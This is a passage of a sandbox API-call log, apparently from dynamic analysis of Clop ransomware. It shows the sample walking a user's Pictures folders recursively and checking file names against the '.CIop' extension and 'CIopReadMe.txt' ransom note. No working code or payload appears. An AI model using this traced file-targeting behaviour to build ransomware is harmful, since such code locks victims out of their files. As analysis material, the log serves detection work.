(pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0138.521] lstrcpyW (in: lpString1=0x2dbff34, lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0138.521] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.521] lstrlenW (lpString=".CIop") returned 5 [0138.521] lstrlenW (lpString=".CIop") returned 5 [0138.521] lstrlenW (lpString=".CIop") returned 5 [0138.521] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0138.521] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*" [0138.521] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67dd78 [0138.521] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0138.521] lstrcpyW (in: lpString1=0x2dbff34, lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0138.521] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.521] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.521] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.521] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.521] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0138.521] lstrcmpW (lpString1="xDtCMA3q", lpString2="..") returned 1 [0138.521] lstrcmpW (lpString1="xDtCMA3q", lpString2=".") returned 1 [0138.522] lstrcpyW (in: lpString1=0x2dc2d68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0138.522] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0138.522] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0138.522] SetErrorMode (uMode=0x1) returned 0x1 [0138.522] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0138.522] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0138.522] lstrcpyW (in: lpString1=0x2dc1540, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0138.522] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*" [0138.522] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67deb8 [0138.522] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="xDtCMA3q" [0138.522] lstrcpyW (in: lpString1=0x2dbff34, lpString2="xDtCMA3q" | out: lpString1="xDtCMA3q") returned="xDtCMA3q" [0138.522] lstrlenW (lpString=".CIop") returned 5 [0138.522] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.522] lstrlenW (lpString=".CIop") returned 5 [0138.522] lstrlenW (lpString=".CIop") returned 5 [0138.522] lstrlenW (lpString=".CIop") returned 5 [0138.522] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0138.522] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*" [0138.522] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67db78 [0138.522] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="xDtCMA3q" [0138.522] lstrcpyW (in: lpString1=0x2dbff34, lpString2="xDtCMA3q" | out: lpString1="xDtCMA3q") returned="xDtCMA3q" [0138.522] lstrcpyW (in: lpString1=0x2dc1130, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0138.522] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0138.522] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\", lpString2="J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0138.522] SetErrorMode (uMode=0x1) returned 0x1 [0138.522] lstrcpyW (in: lpString1=0x2dbfd18, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0138.523] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0138.523] lstrcpyW (in: lpString1=0x2dbf908, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0138.523] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*" [0138.523] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*", lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0x67dc38 [0138.523] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="J7dCVSJUmB" [0138.523] lstrcpyW (in: lpString1=0x2dbe2fc, lpString2="J7dCVSJUmB" | out: lpString1="J7dCVSJUmB") returned="J7dCVSJUmB" [0138.523] lstrlenW (lpString=".CIop") returned 5 [0138.523] lstrlenW (lpString=".CIop") returned 5 [0138.523] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.523] lstrlenW (lpString=".CIop") returned 5 [0138.523] lstrcpyW (in: lpString1=0x2dbfd18, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0138.523] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*" [0138.523] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*", lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0x67deb8 [0138.523] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="J7dCVSJUmB" [0138.523] lstrcpyW (in: lpString1=0x2dbe2fc, lpString2="J7dCVSJUmB" | out: lpString1="J7dCVSJUmB") returned="J7dCVSJUmB" [0138.523] lstrcpyW (in: lpString1=0x2dbf4f8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0138.523] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0138.523] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\", lpString2="7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0138.523] SetErrorMode (uMode=0x1) returned 0x1 [0138.523] lstrcpyW (in: lpString1=0x2dbe0e0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0138.523] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" [0138.523] lstrcpyW (in: lpString1=0x2dbdcd0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" [0138.523] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*" [0138.523] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*", lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0x67dc38 [0138.524] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="7Luf9iKqys 6" [0138.524] lstrcpyW (in: lpString1=0x2dbc6c4, lpString2="7Luf9iKqys 6" | out: lpString1="7Luf9iKqys 6") returned="7Luf9iKqys 6" [0138.524] lstrlenW (lpString=".CIop") returned 5 [0138.524] lstrlenW (lpString=".CIop") returned 5 [0138.524] lstrcpyW (in: lpString1=0x2dbe0e0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0138.524] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*" [0138.524] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*", lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0x67dfb8 [0138.524] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="7Luf9iKqys 6" [0138.524] lstrcpyW (in: lpString1=0x2dbc6c4, lpString2="7Luf9iKqys 6" | out: lpString1="7Luf9iKqys 6") returned="7Luf9iKqys 6" [0138.524] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0138.524] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0138.524] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0 [0138.524] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 1 [0138.524] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 0 [0138.524] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0138.524] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0 [0138.525] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0138.525] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0138.525] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0138.525] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0138.525] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0138.525] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.525] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.525] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0138.525] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0138.525] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0138.525] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0138.525] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0138.525] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0138.526] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) 